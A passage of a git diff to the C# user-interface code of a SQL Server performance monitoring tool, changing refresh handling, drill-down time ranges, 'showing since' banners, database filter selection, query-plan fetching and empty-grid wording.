+    /// showed on a disabled control, so nobody could tell why). It names the tabs <see cref="IsComparisonSupportedOnCurrentTab"/> accepts.
+    /// </summary>
+    internal const string CompareUnavailableToolTip =
+        "Compare works on the Overview tab and on the Top Queries, Top Procedures and Query Store sub-tabs of Queries. It is off on this tab.";
+
     private bool IsComparisonSupportedOnCurrentTab()
     {
         return MainTabControl.SelectedIndex switch
@@ -242,10 +243,22 @@ private void UpdateCompareDropdownState()
         }
         else
         {
-            CompareToCombo.SelectedIndex = 0;
+            /* The program writes the combo here, not the user: no refresh from it (see CompareToCombo_SelectionChanged).
+               The flag's old value is put back, not cleared, because the drill-down holds it across a tab switch. */
+            var wasSuppressed = _suppressRangeRefresh;
+            _suppressRangeRefresh = true;
+            try
+            {
+                CompareToCombo.SelectedIndex = 0;
+            }
+            finally
+            {
+                _suppressRangeRefresh = wasSuppressed;
+            }
+
             CompareToCombo.IsEnabled = false;
             CompareToCombo.Opacity = 0.5;
-            CompareToCombo.ToolTip = "Comparison is not available for this tab";
+            CompareToCombo.ToolTip = CompareUnavailableToolTip;
         }
     }
 }
diff --git a/Lite/Controls/ServerTab.ConfigChanges.cs b/Lite/Controls/ServerTab.ConfigChanges.cs
index 883b5fe317..2c647c0006 100644
--- a/Lite/Controls/ServerTab.ConfigChanges.cs
+++ b/Lite/Controls/ServerTab.ConfigChanges.cs
@@ -67,6 +67,7 @@ private async System.Threading.Tasks.Task LoadServerConfigChangesAsync(int hours
         _serverConfigChangesFilterMgr!.UpdateData(data);
         ShowEngineGap(ServerConfigChangesNoDataMessage, "server_config", data.Count, keepsOwnEmptyText: true);
         ServerConfigChangesCountIndicator.Text = data.Count > 0 ? $"{data.Count} change(s)" : "";
+        await RefreshStoredWindowBannerAsync(QueryWindowRelation.ServerConfig, ServerConfigChangesWindowTruncatedBanner, hoursBack, fromDate, toDate);
     }
 
     private async System.Threading.Tasks.Task LoadDatabaseConfigChangesAsync(int hoursBack, DateTime? fromDate, DateTime? toDate)
@@ -75,6 +76,7 @@ private async System.Threading.Tasks.Task LoadDatabaseConfigChangesAsync(int hou
         _databaseConfigChangesFilterMgr!.UpdateData(data);
         DatabaseConfigChangesNoDataMessage.Visibility = data.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
         DatabaseConfigChangesCountIndicator.Text = data.Count > 0 ? $"{data.Count} change(s)" : "";
+        await RefreshStoredWindowBannerAsync(QueryWindowRelation.DatabaseConfig, DatabaseConfigChangesWindowTruncatedBanner, hoursBack, fromDate, toDate);
     }
 
     private async System.Threading.Tasks.Task LoadTraceFlagChangesAsync(int hoursBack, DateTime? fromDate, DateTime? toDate)
@@ -83,6 +85,7 @@ private async System.Threading.Tasks.Task LoadTraceFlagChangesAsync(int hoursBac
         _traceFlagChangesFilterMgr!.UpdateData(data);
         ShowEngineGap(TraceFlagChangesNoDataMessage, "trace_flags", data.Count, keepsOwnEmptyText: true);
         TraceFlagChangesCountIndicator.Text = data.Count > 0 ? $"{data.Count} change(s)" : "";
+        await RefreshStoredWindowBannerAsync(QueryWindowRelation.TraceFlags, TraceFlagChangesWindowTruncatedBanner, hoursBack, fromDate, toDate);
     }
 
     /// <summary>The per-sub-tab Refresh button reloads the active Configuration Changes sub-tab over the
diff --git a/Lite/Controls/ServerTab.CopyExport.cs b/Lite/Controls/ServerTab.CopyExport.cs
index 6e422ee4d6..4b7f5b7f76 100644
--- a/Lite/Controls/ServerTab.CopyExport.cs
+++ b/Lite/Controls/ServerTab.CopyExport.cs
@@ -73,7 +73,7 @@ same enrichment-on-demand shape as the QueryStatsRow/QueryStoreRow arms above. *
                     try
                     {
                         var connStr = _credentialResolver.GetConnectionString(_server);
-                        planXml = await LocalDataService.FetchQueryPlanOnDemandAsync(connStr, stats.QueryHash);
+                        planXml = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchQueryPlanOnDemandAsync(connStr, stats.QueryHash));
                     }
                     catch { /* Plan fetch failed — continue without plan */ }
                 }
@@ -89,7 +89,7 @@ same enrichment-on-demand shape as the QueryStatsRow/QueryStoreRow arms above. *
                     try
                     {
                         var connStr = _credentialResolver.GetConnectionString(_server);
-                        planXml = await LocalDataService.FetchQueryStorePlanAsync(connStr, qs.DatabaseName, qs.PlanId);
+                        planXml = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchQueryStorePlanAsync(connStr, qs.DatabaseName, qs.PlanId));
                     }
                     catch { /* Plan fetch failed — continue without plan */ }
                 }
diff --git a/Lite/Controls/ServerTab.CpuScheduler.cs b/Lite/Controls/ServerTab.CpuScheduler.cs
index a9e8f12b07..2ae8b27bf0 100644
--- a/Lite/Controls/ServerTab.CpuScheduler.cs
+++ b/Lite/Controls/ServerTab.CpuScheduler.cs
@@ -62,7 +62,7 @@ private async System.Threading.Tasks.Task RefreshCpuSchedulerAsync(int hoursBack
             await System.Threading.Tasks.Task.WhenAll(trendTask, snapshotTask);
 
             UpdateCpuSchedulerChart(trendTask.Result, hoursBack, fromDate, toDate);
-            CpuSchedulerGrid.ItemsSource = CpuSchedulerMetrics.BuildMetrics(snapshotTask.Result);
+            CpuSchedulerGrid.ItemsSource = CpuSchedulerGridRow.Build(snapshotTask.Result);
 
             var gap = CpuSchedulerGapNote(_server.DisplayName, _isAzureSqlDatabase);
             CpuSchedulerNoDataMessage.Text = gap ?? "";
diff --git a/Lite/Controls/ServerTab.DailySummary.cs b/Lite/Controls/ServerTab.DailySummary.cs
index 9327d2cb7d..bc24e26911 100644
--- a/Lite/Controls/ServerTab.DailySummary.cs
+++ b/Lite/Controls/ServerTab.DailySummary.cs
@@ -104,7 +104,10 @@ private async void DailyCalendar_DayDrillRequested(object? sender, PerformanceCa
             }
 
             // One targeted load of the tab we just switched to, over the day window (grid + slicer + comparison).
-            await RefreshVisibleTabAsync(GetHoursBack(), startUtc, endUtc, subTabOnly: true);
+            /* #5371: through the refresh coordinator like every other load, so a timer tick cannot start a second read
+               beside it. SetDrillDownTimeRange just held this day as the toolbar's custom range, so the pass's own
+               GetCurrentWindowUtc is exactly (startUtc, endUtc). */
+            await RefreshVisibleTabOnlyAsync();
         }
         catch (Exception ex)
         {
diff --git a/Lite/Controls/ServerTab.DatabaseFilter.cs b/Lite/Controls/ServerTab.DatabaseFilter.cs
index 90b18a4145..c558b3a80d 100644
--- a/Lite/Controls/ServerTab.DatabaseFilter.cs
+++ b/Lite/Controls/ServerTab.DatabaseFilter.cs
@@ -27,6 +27,7 @@ namespace PerformanceMonitorLite.Controls;
 public partial class ServerTab : UserControl
 {
     private int _databaseFilterTotalCount;
+    private List<string>? _databaseFilterCollectedNames;
     private bool _databaseFilterDirty;
 
     private async void DatabaseFilterButton_Click(object sender, RoutedEventArgs e)
@@ -49,6 +50,7 @@ private async void DatabaseFilterButton_Click(object sender, RoutedEventArgs e)
     private async Task PopulateDatabaseFilterPickerAsync()
     {
         List<string> names;
+        var readSucceeded = true;
         try
         {
             names = await Task.Run(() => _dataService.GetCollectedDatabaseNamesAsync(_serverId));
@@ -57,9 +59,12 @@ private async Task PopulateDatabaseFilterPickerAsync()
         {
             AppLogger.Info("ServerTab", $"[{_server.DisplayName}] GetCollectedDatabaseNamesAsync failed: {ex.Message}");
             names = new List<string>();
+            readSucceeded = false;
         }
 
         _databaseFilterTotalCount = names.Count;
+        /* #5554: kept for the Select All rule; a failed read leaves it null, so a sticky filter is never widened to All. */
+        _databaseFilterCollectedNames = readSucceeded ? names : null;
 
         var union = new List<string>(names);
         foreach (var sel in _selectedDatabases)
@@ -129,13 +134,12 @@ private void DatabaseFilterClearAll_Click(object sender, RoutedEventArgs e)
 
     private void SyncSelectedDatabasesFromItems()
     {
+        /* Release walk V12c: every box ticked (Select All, or the last box ticked by hand) is "All", not a real filter that
+           names every database collected so far and leaves out the next one. */
         _selectedDatabases.Clear();
-        foreach (var item in _databaseFilterItems)
+        foreach (var name in DatabaseFilterSelection.Stored(_databaseFilterItems.Select(i => (i.DisplayName, i.IsSelected)).ToList(), _databaseFilterCollectedNames))
         {
-            if (item.IsSelected)
-            {
-                _selectedDatabases.Add(item.DisplayName);
-            }
+            _selectedDatabases.Add(name);
         }
         _databaseFilterDirty = true;
         UpdateDatabaseFilterLabel();
diff --git a/Lite/Controls/ServerTab.DrillDown.cs b/Lite/Controls/ServerTab.DrillDown.cs
index 00839cd234..e2cfc42a6c 100644
--- a/Lite/Controls/ServerTab.DrillDown.cs
+++ b/Lite/Controls/ServerTab.DrillDown.cs
@@ -134,7 +134,9 @@ internal static string DrillDownIndicatorText(DateTime fromUtc, DateTime toUtc,
     /// <summary>
     /// Generic "Show Active Queries at This Time" drill-down for resource charts that have no
     /// more specific target (memory clerks/grants/pressure, tempdb size + file I/O, file I/O
-    /// latency + throughput, current waits, perfmon).
+    /// latency + throughput, current waits, perfmon). The "Showing since" banner is refreshed for the drill
+    /// window too (#4953), over the same UTC pair the grid read takes: left alone it keeps describing the last
+    /// range read, so it can claim a cut the drill window does not have or miss one it does.
     /// </summary>
     private async void OnActiveQueriesDrillDown(DateTime time)
     {
@@ -146,6 +148,10 @@ private async void OnActiveQueriesDrillDown(DateTime time)
         _querySnapshotsFilterMgr!.UpdateData(snapshots);
         LiveSnapshotIndicator.Text = DrillDownIndicatorText(fromDate, toDate, GetPickerZone());
         _ = LoadActiveQueriesSlicerAsync();
+        /* fromDate/toDate are the naive-UTC pair GetDrillWindow built (#4766). The grid read above took them as they
+           are (GetTimeRange's custom-range branch) and the banner probe compares against the same UTC collection_time,
+           so they go through unconverted, as the slicer handler's e.StartUtc/e.EndUtc do (#4279). */
+        await RefreshWindowTruncatedBannerAsync(QueryWindowRelation.QuerySnapshots, ActiveQueriesWindowTruncatedBanner, fromDate, toDate);
     }
 
     private async void OnBlockingDrillDown(DateTime time)
@@ -155,8 +161,11 @@ private async void OnBlockingDrillDown(DateTime time)
 
         MainTabControl.SelectedIndex = 8; // Blocking
         BlockingSubTabControl.SelectedIndex = 2; // Blocked Process Reports
-        var bpr = await System.Threading.Tasks.Task.Run(() => _dataService.GetRecentBlockedProcessReportsAsync(_serverId, 0, fromDate, toDate));
-        _blockedProcessFilterMgr!.UpdateData(bpr);
+        var bprRead = await System.Threading.Tasks.Task.Run(() => _dataService.ReadRecentBlockedProcessReportsAsync(_serverId, 0, fromDate, toDate));
+        _blockedProcessFilterMgr!.UpdateData(bprRead.Rows);
+        /* The drill window is the naive-UTC pair GetDrillWindow built (#4766), which the grid read above took as it is: the
+           banner follows it, so it stops describing the last range read (#4966). */
+        await RefreshCappedGridBannerAsync(QueryWindowRelation.BlockedProcessReports, BlockedProcessReportsWindowTruncatedBanner, fromDate, toDate, bprRead.Rows, LocalDataService.BlockedProcessReportGridCap, BlockedProcessRowTimeUtc, bprRead.CappedSourceStartUtc);
     }
 
     private async void OnDeadlockDrillDown(DateTime time)
@@ -168,6 +177,8 @@ private async void OnDeadlockDrillDown(DateTime time)
         BlockingSubTabControl.SelectedIndex = 3; // Deadlocks
         var dlr = await System.Threading.Tasks.Task.Run(() => _dataService.GetRecentDeadlocksAsync(_serverId, 0, fromDate, toDate));
         _deadlockFilterMgr!.UpdateData(await ParseDeadlocksOffUiThreadAsync(dlr));
+        /* Same as OnBlockingDrillDown (#4966): the banner follows the drill window's UTC pair. */
+        await RefreshCappedGridBannerAsync(QueryWindowRelation.Deadlocks, DeadlocksWindowTruncatedBanner, fromDate, toDate, dlr, LocalDataService.DeadlockGridCap, DeadlockRowTimeUtc);
     }
 
     private async void OnHeatmapDrillDown(DateTime bucketTimeUtc)
@@ -187,37 +198,30 @@ private async void OnHeatmapDrillDown(DateTime bucketTimeUtc)
         _querySnapshotsFilterMgr!.UpdateData(snapshots);
         LiveSnapshotIndicator.Text = DrillDownIndicatorText(fromDate, toDate, GetPickerZone());
         _ = LoadActiveQueriesSlicerAsync();
+        /* The heatmap drill's window is the same naive-UTC pair the grid read took (see OnActiveQueriesDrillDown):
+           the banner follows it, so it stops describing the last range read (#4953). */
+        await RefreshWindowTruncatedBannerAsync(QueryWindowRelation.QuerySnapshots, ActiveQueriesWindowTruncatedBanner, fromDate, toDate);
     }
 
     /// <summary>
-    /// Sets the time range combo to Custom and populates the date/time pickers
+    /// Holds the drilled window as the toolbar's range (a fixed range on the picker)
     /// so the user can navigate other tabs at the same time window.
     /// </summary>
     private void SetDrillDownTimeRange(DateTime fromUtc, DateTime toUtc)
     {
-        /* The drill's window is held as the instants it names (#4766) and the pickers show it in the display zone. */
-        _customRange.Set(fromUtc, toUtc);
+        /* The drill's window is held as the instants it names (#4766, #5562): a fixed range, which the picker shows in the
+           display zone. It is held exactly as handed and never widened (R3): every drill caller passes 15 minutes or more. */
+        _probedFloors.Clear();
 
-        // Switch to Custom without triggering a refresh
-        _isRefreshing = true;
+        // Hold it without triggering a refresh (Value raises no RangeChanged; the flag covers a handler that might)
+        _suppressRangeRefresh = true;
         try
         {
-            TimeRangeCombo.SelectedIndex = 5; // Custom
-            RenderCustomRange();
-
-            // Make pickers visible
-            var visibility = Visibility.Visible;
-            FromDatePicker.Visibility = visibility;
-            FromHourCombo.Visibility = visibility;
-            FromMinuteCombo.Visibility = visibility;
-            ToLabel.Visibility = visibility;
-            ToDatePicker.Visibility = visibility;
-            ToHourCombo.Visibility = visibility;
-            ToMinuteCombo.Visibility = visibility;
+            RangePicker.Value = TimeRangeSpec.FixedRange(fromUtc, toUtc);
         }
         finally
         {
-            _isRefreshing = false;
+            _suppressRangeRefresh = false;
         }
     }
 }
diff --git a/Lite/Controls/ServerTab.EngineGaps.cs b/Lite/Controls/ServerTab.EngineGaps.cs
index 497615c4c4..d056ad6bed 100644
--- a/Lite/Controls/ServerTab.EngineGaps.cs
+++ b/Lite/Controls/ServerTab.EngineGaps.cs
@@ -184,6 +184,13 @@ private void ShowEngineGap(TextBlock message, string collectorName, int rowCount
         message.Visibility = gapShows || (keepsOwnEmptyText && rowCount == 0) ? Visibility.Visible : Visibility.Collapsed;
     }
 
+    /// <summary>
+    /// What the Running Jobs tab says in place of "No SQL Agent jobs are running." when the read itself failed: an empty
+    /// list from a read that never answered would be a claim nobody checked.
+    /// </summary>
+    internal static string RunningJobsReadFailedText(Exception ex) =>
+        $"The running jobs could not be read: {ex.Message}";
+
     /// <summary>
     /// Whether the Running Jobs tab shows its "grant the login access to msdb" warning. It shows when the login lacks
     /// msdb access and the running_jobs collector can run here. On an Azure SQL Database or an AWS RDS instance the
diff --git a/Lite/Controls/ServerTab.Filters.cs b/Lite/Controls/ServerTab.Filters.cs
index ed5a6e8a91..8113afbefd 100644
--- a/Lite/Controls/ServerTab.Filters.cs
+++ b/Lite/Controls/ServerTab.Filters.cs
@@ -31,6 +31,12 @@ private void InitializeFilterManagers()
         _planCorrectionFilterMgr = new DataGridFilterManager<PlanCorrectionRow>(PlanCorrectionGrid);
         _blockedProcessFilterMgr = new DataGridFilterManager<BlockedProcessReportRow>(BlockedProcessReportGrid);
         _deadlockFilterMgr = new DataGridFilterManager<DeadlockProcessDetail>(DeadlockGrid);
+        /* Empty-state wording (F15): a grid that comes back with no rows says what is missing, in the words the System Events
+           sub-tabs use, instead of showing a bare header row. Grids without wording here say "No rows to show.". */
+        EmptyState.SetText(QuerySnapshotsGrid, "No active queries in the selected time window.");
+        EmptyState.SetText(ProcedureStatsGrid, "No procedure executions in the selected time window.");
+        EmptyState.SetText(BlockedProcessReportGrid, "No blocked process reports in the selected time window.");
+        EmptyState.SetText(DeadlockGrid, "No deadlocks in the selected time window.");
         _runningJobsFilterMgr = new DataGridFilterManager<RunningJobRow>(RunningJobsGrid);
         _longQueryFilterMgr = new DataGridFilterManager<LongQueryCompletionRow>(LongQueryCompletionsGrid);
         _serverConfigFilterMgr = new DataGridFilterManager<ServerConfigRow>(ServerConfigGrid);
diff --git a/Lite/Controls/ServerTab.Grids.cs b/Lite/Controls/ServerTab.Grids.cs
index 935ebf2f8f..dce3ffbd95 100644
--- a/Lite/Controls/ServerTab.Grids.cs
+++ b/Lite/Controls/ServerTab.Grids.cs
@@ -81,10 +81,10 @@ private void BlockedProcessReportGrid_Sorting(object sender, DataGridSortingEven
     }
 
     /// <summary>
-    /// Computes per-interval deltas from cumulative history values.
+    /// Projects the history rows' per-collection deltas to the overlay's points (#5449).
     /// Picks the metric field based on the current slicer sort metric.
     /// </summary>
-    private static List<(DateTime TimeUtc, double Value)> ComputeQueryOverlayPoints(
+    internal static List<(DateTime TimeUtc, double Value)> ComputeQueryOverlayPoints(
         List<QueryStatsHistoryRow> history, string slicerMetric)
     {
         Func<QueryStatsHistoryRow, long> selector = slicerMetric switch
@@ -97,17 +97,20 @@ private void BlockedProcessReportGrid_Sorting(object sender, DataGridSortingEven
         };
         bool isMicroseconds = slicerMetric is "TotalCpu" or "AvgCpu" or "TotalElapsed" or "AvgElapsed";
 
+        /* #5449: the history rows carry each collection's own delta (delta_*), so a row's delta IS its point. It used to
+           subtract the previous row's delta, which drew a point only where the work changed, dropped the first row, and
+           read differently on a store that keeps the idle rows and one that does not. Zero deltas are not drawn. */
         var points = new List<(DateTime TimeUtc, double Value)>();
-        for (int i = 1; i < history.Count; i++)
+        foreach (var row in history)
         {
-            var delta = selector(history[i]) - selector(history[i - 1]);
+            var delta = selector(row);
             if (delta > 0)
-                points.Add((history[i].CollectionTime, isMicroseconds ? delta / 1000.0 : delta));
+                points.Add((row.CollectionTime, isMicroseconds ? delta / 1000.0 : delta));
         }
         return points;
     }
 
-    private static List<(DateTime TimeUtc, double Value)> ComputeProcOverlayPoints(
+    internal static List<(DateTime TimeUtc, double Value)> ComputeProcOverlayPoints(
         List<ProcedureStatsHistoryRow> history, string slicerMetric)
     {
         Func<ProcedureStatsHistoryRow, long> selector = slicerMetric switch
@@ -120,12 +123,15 @@ private void BlockedProcessReportGrid_Sorting(object sender, DataGridSortingEven
         };
         bool isMicroseconds = slicerMetric is "TotalCpu" or "AvgCpu" or "TotalElapsed" or "AvgElapsed";
 
+        /* #5449: the history rows carry each collection's own delta (delta_*), so a row's delta IS its point. It used to
+           subtract the previous row's delta, which drew a point only where the work changed, dropped the first row, and
+           read differently on a store that keeps the idle rows and one that does not. Zero deltas are not drawn. */
         var points = new List<(DateTime TimeUtc, double Value)>();
-        for (int i = 1; i < history.Count; i++)
+        foreach (var row in history)
         {
-            var delta = selector(history[i]) - selector(history[i - 1]);
+            var delta = selector(row);
             if (delta > 0)
-                points.Add((history[i].CollectionTime, isMicroseconds ? delta / 1000.0 : delta));
+                points.Add((row.CollectionTime, isMicroseconds ? delta / 1000.0 : delta));
         }
         return points;
     }
diff --git a/Lite/Controls/ServerTab.LatchSpinlock.cs b/Lite/Controls/ServerTab.LatchSpinlock.cs
index b87b115f43..5c13aa2d90 100644
--- a/Lite/Controls/ServerTab.LatchSpinlock.cs
+++ b/Lite/Controls/ServerTab.LatchSpinlock.cs
@@ -71,6 +71,11 @@ private async System.Threading.Tasks.Task RefreshLatchSpinlockAsync(int hoursBac
             _latchStatsFilterMgr!.UpdateData(latchSnapshotTask.Result);
             UpdateSpinlockStatsChart(spinlockTrendTask.Result, hoursBack, fromDate, toDate);
             _spinlockStatsFilterMgr!.UpdateData(spinlockSnapshotTask.Result);
+
+            /* #4966: both trends draw a flat zero over an empty stretch, so each says where its collector's coverage starts.
+               The probes run after the charts and grids are bound; one that throws costs only its note. */
+            await RefreshStoredWindowBannerAsync(QueryWindowRelation.LatchStats, LatchStatsWindowTruncatedBanner, hoursBack, fromDate, toDate);
+            await RefreshStoredWindowBannerAsync(QueryWindowRelation.SpinlockStats, SpinlockStatsWindowTruncatedBanner, hoursBack, fromDate, toDate);
         }
         catch (Exception ex)
         {
diff --git a/Lite/Controls/ServerTab.LongQueries.cs b/Lite/Controls/ServerTab.LongQueries.cs
index bcd74e9468..7d054f940c 100644
--- a/Lite/Controls/ServerTab.LongQueries.cs
+++ b/Lite/Controls/ServerTab.LongQueries.cs
@@ -10,24 +10,61 @@
 using System.ComponentModel;
 using System.Threading.Tasks;
 using System.Windows;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Ui;
 using PerformanceMonitorLite.Services;
 
 namespace PerformanceMonitorLite.Controls;
 
 public partial class ServerTab
 {
+    /// <summary>
+    /// The disabled-trace banner for an Azure SQL Database target or any other: where the switch is, then where the
+    /// session lives (<see cref="LongQueryCompletionsCollector.SessionScopeSentence"/>). On Azure SQL Database the
+    /// session is per monitored database, so the banner must not say it is on the server.
+    /// </summary>
+    internal const string LongQueriesSwitchLocation = "Settings → Collector Schedules → Edit (Default or per-server)";
+
+    internal static string LongQueriesDisabledText(bool isAzureSqlDatabase) =>
+        "The long-query completion trace is OFF for this server. It is opt-in because a completion trace adds overhead "
+        + "on busy servers. Turn it on in Settings → Collector Schedules → Edit (Default or per-server), then tick "
+        + "the 'long_query_completions' Enabled box. "
+        + LongQueryCompletionsCollector.SessionScopeSentence(isAzureSqlDatabase);
+
+    /// <summary>
+    /// The instant the Long Queries grid's "Showing since" notice compares (#4989): the completion's own time,
+    /// <c>event_time</c>, the XE <c>@timestamp</c>, which is UTC (the grid shows it through the server's clock, and the
+    /// read orders and caps on it), and not the time a run stored the row. A completion without an event time falls back to
+    /// the time its run was collected, which is UTC too. The Default Trace is the one grid whose time is the server's wall
+    /// clock (<see cref="LocalDataService.QueryWindowRelationTimeIsServerLocal"/>); this one needs no conversion.
+    /// </summary>
+    internal static DateTime LongQueryRowTimeUtc(LongQueryCompletionRow row) => row.EventTime ?? row.CollectionTime;
+
     /// <summary>
     /// Tab 20 — Long Queries (#1496): completed long-running queries (rpc/batch over the duration
     /// threshold) plus attentions (cancels/timeouts) from the opt-in XE session. Because the collector
     /// is default OFF, an explicit empty-state banner is shown while it is disabled, pointing the
     /// operator at the exact switch (Settings → Collector Schedules → Edit → the Enabled box). The
     /// enabled state is read live each refresh so toggling it updates the banner without reopening.
+    ///
+    /// <para>The grid reads only the newest <see cref="LocalDataService.LongQueryGridCap"/> completions, so its "Showing
+    /// since" notice goes through the cap-aware step (#4989): a read that hit the cap is worded from the oldest completion
+    /// it returned, even where the store covers the range, and with no slack (the notice shows whenever that completion is
+    /// later than the range's start, on a range of an hour too). A read under the cap keeps the coverage notice, unless a
+    /// completion it shows has an earlier event time: a server's first run stores completions up to
+    /// <see cref="CollectorContext.EventFallbackWindow"/> older than itself, and the grid shows each at its event time
+    /// (<see cref="LongQueryRowTimeUtc"/>), so the notice then names the oldest completion shown
+    /// (<see cref="EarlierOfFloorAndRowShown"/>), the same rule the Darling viewer's event grids follow.</para>
     /// </summary>
     private async Task RefreshLongQueriesAsync(int hoursBack, DateTime? fromDate, DateTime? toDate)
     {
-        LongQueriesDisabledWarning.Visibility = _isLongQueryTraceEnabled()
+        LongQueriesDisabledWarning.Text = LongQueriesDisabledText(_isAzureSqlDatabase);
+        var traceEnabled = _isLongQueryTraceEnabled();
+        LongQueriesDisabledWarning.Visibility = traceEnabled
             ? Visibility.Collapsed
             : Visibility.Visible;
+        /* Release walk V12a: the empty grid says why it is empty (the trace is opt-in and off), not the generic "No data". */
+        EmptyState.SetText(LongQueryCompletionsGrid, LongQueriesEmptyText.Text(traceEnabled, LongQueriesSwitchLocation));
 
         try
         {
@@ -38,6 +75,8 @@ private async Task RefreshLongQueriesAsync(int hoursBack, DateTime? fromDate, Da
 
             /* View-only DESCENDING-by-duration sort — never flips the reader's chronological ORDER BY. */
             SetDefaultSortIfNone(LongQueryCompletionsGrid, "DurationMicroseconds", ListSortDirection.Descending);
+            var (windowStart, windowEnd) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+            await RefreshCappedGridBannerAsync(QueryWindowRelation.LongQueryCompletions, LongQueriesWindowTruncatedBanner, windowStart, windowEnd, task.Result, LocalDataService.LongQueryGridCap, LongQueryRowTimeUtc);
         }
         catch (Exception ex)
         {
diff --git a/Lite/Controls/ServerTab.PlanCache.cs b/Lite/Controls/ServerTab.PlanCache.cs
index d046a236fe..2131b7f611 100644
--- a/Lite/Controls/ServerTab.PlanCache.cs
+++ b/Lite/Controls/ServerTab.PlanCache.cs
@@ -126,6 +126,7 @@ private void RenderPlanCacheSummary(PlanCacheSummary summary)
             PlanCacheBloatLevelText.Text = "--";
             PlanCacheBloatLevelText.Foreground = System.Windows.Media.Brushes.Gray;
             PlanCacheRecommendationText.Text = "";
+            PlanCacheCollectedText.Text = "--";
             return;
         }
 
@@ -137,6 +138,8 @@ private void RenderPlanCacheSummary(PlanCacheSummary summary)
         PlanCacheRecommendationText.Text = bloat.Recommendation;
 
         PlanCacheTotalPlansText.Text = summary.TotalPlans.ToString("N0");
+        /* #4966: the summary totals are one snapshot (the newest in the range); say when it was collected. */
+        PlanCacheCollectedText.Text = SnapshotCollectedText(summary.CollectionTime, GetPickerZone(), "--");
 
         /* oldest_plan_create_time comes from a DMV (sys.dm_exec_query_stats.creation_time) in the monitored
            server's local clock, which the viewer — having no per-server offset for this DMV column —
diff --git a/Lite/Controls/ServerTab.Plans.cs b/Lite/Controls/ServerTab.Plans.cs
index d6248dc399..9665007e02 100644
--- a/Lite/Controls/ServerTab.Plans.cs
+++ b/Lite/Controls/ServerTab.Plans.cs
@@ -55,7 +55,7 @@ private async void DownloadQueryStatsPlan_Click(object sender, RoutedEventArgs e
             if (string.IsNullOrEmpty(plan))
             {
                 var connStr = _credentialResolver.GetConnectionString(_server);
-                plan = await LocalDataService.FetchQueryPlanOnDemandAsync(connStr, row.QueryHash);
+                plan = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchQueryPlanOnDemandAsync(connStr, row.QueryHash));
                 source = "live server";
             }
 
@@ -71,7 +71,7 @@ private async void DownloadQueryStatsPlan_Click(object sender, RoutedEventArgs e
         }
         catch (Exception ex)
         {
-            MessageBox.Show($"Failed to retrieve plan: {ex.Message}", "Error", MessageBoxButton.OK, MessageBoxImage.Error);
+            MessageBox.Show($"Failed to retrieve plan: {DuckDbMemoryLimitSetting.Describe(ex)}", "Error", MessageBoxButton.OK, MessageBoxImage.Error);
         }
         finally
         {
@@ -110,7 +110,7 @@ private async void DownloadProcedurePlan_Click(object sender, RoutedEventArgs e)
             if (string.IsNullOrEmpty(plan))
             {
                 var connStr = _credentialResolver.GetConnectionString(_server);
-                plan = await LocalDataService.FetchProcedurePlanOnDemandAsync(connStr, row.DatabaseName, row.SchemaName, row.ObjectName);
+                plan = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchProcedurePlanOnDemandAsync(connStr, row.DatabaseName, row.SchemaName, row.ObjectName));
                 source = "live server";
             }
 
@@ -126,7 +126,7 @@ private async void DownloadProcedurePlan_Click(object sender, RoutedEventArgs e)
         }
         catch (Exception ex)
         {
-            MessageBox.Show($"Failed to retrieve plan: {ex.Message}", "Error", MessageBoxButton.OK, MessageBoxImage.Error);
+            MessageBox.Show($"Failed to retrieve plan: {DuckDbMemoryLimitSetting.Describe(ex)}", "Error", MessageBoxButton.OK, MessageBoxImage.Error);
         }
         finally
         {
@@ -259,7 +259,8 @@ private async Task OpenPlanTab(string planXml, string label, string? queryText =
         {
             /* #4530: the server's edition/MAXDOP for rule 38, best-effort (null on a missing row or a
                read failure, same as GetServerMetadataForPlanAnalysisAsync's own contract). */
-            viewer.ServerMetadata = await _dataService.GetServerMetadataForPlanAnalysisAsync(_serverId);
+            /* #5457: off the UI thread, so a held store lock cannot freeze the window (see ServerTab.BlockChain). */
+            viewer.ServerMetadata = await Task.Run(() => _dataService.GetServerMetadataForPlanAnalysisAsync(_serverId));
             /* LoadPlan parses+analyzes off the UI thread; it throws XmlException for malformed
                plan XML, replacing the redundant up-front XDocument.Parse validation. */
             await viewer.LoadPlan(planXml, label, queryText);
@@ -373,8 +374,8 @@ old in-row `LiveQueryPlan ?? QueryPlan`. */
                 try
                 {
                     var connStr = _credentialResolver.GetConnectionString(_server);
-                    planXml = await LocalDataService.FetchProcedurePlanOnDemandAsync(
-                        connStr, proc.DatabaseName, proc.SchemaName, proc.ObjectName);
+                    planXml = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchProcedurePlanOnDemandAsync(
+                        connStr, proc.DatabaseName, proc.SchemaName, proc.ObjectName));
                 }
                 catch { }
                 break;
@@ -386,7 +387,7 @@ old in-row `LiveQueryPlan ?? QueryPlan`. */
                     try
                     {
                         var connStr = _credentialResolver.GetConnectionString(_server);
-                        planXml = await LocalDataService.FetchQueryStorePlanAsync(connStr, qs.DatabaseName, qs.PlanId);
+                        planXml = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchQueryStorePlanAsync(connStr, qs.DatabaseName, qs.PlanId));
                     }
                     catch { }
                 }
@@ -403,7 +404,7 @@ old in-row `LiveQueryPlan ?? QueryPlan`. */
                 try
                 {
                     var procConnStr = _credentialResolver.GetConnectionString(_server);
-                    planXml = await LocalDataService.FetchProcedurePlanOnDemandAsync(procConnStr, procComp.DatabaseName, procComp.SchemaName, procComp.ObjectName);
+                    planXml = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchProcedurePlanOnDemandAsync(procConnStr, procComp.DatabaseName, procComp.SchemaName, procComp.ObjectName));
                 }
                 catch { }
                 break;
@@ -468,7 +469,7 @@ private async void GetActualPlan_Click(object sender, RoutedEventArgs e)
                     try
                     {
                         var connStr = _credentialResolver.GetConnectionString(_server);
-                        planXml = await LocalDataService.FetchQueryStorePlanAsync(connStr, qs.DatabaseName, qs.PlanId);
+                        planXml = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchQueryStorePlanAsync(connStr, qs.DatabaseName, qs.PlanId));
                     }
                     catch { }
                 }
@@ -511,6 +512,8 @@ decides with eyes open. */
         prompt.AppendLine("Make sure you understand what the query does before proceeding.");
         prompt.AppendLine("The query will execute with SET STATISTICS XML ON to capture the actual plan.");
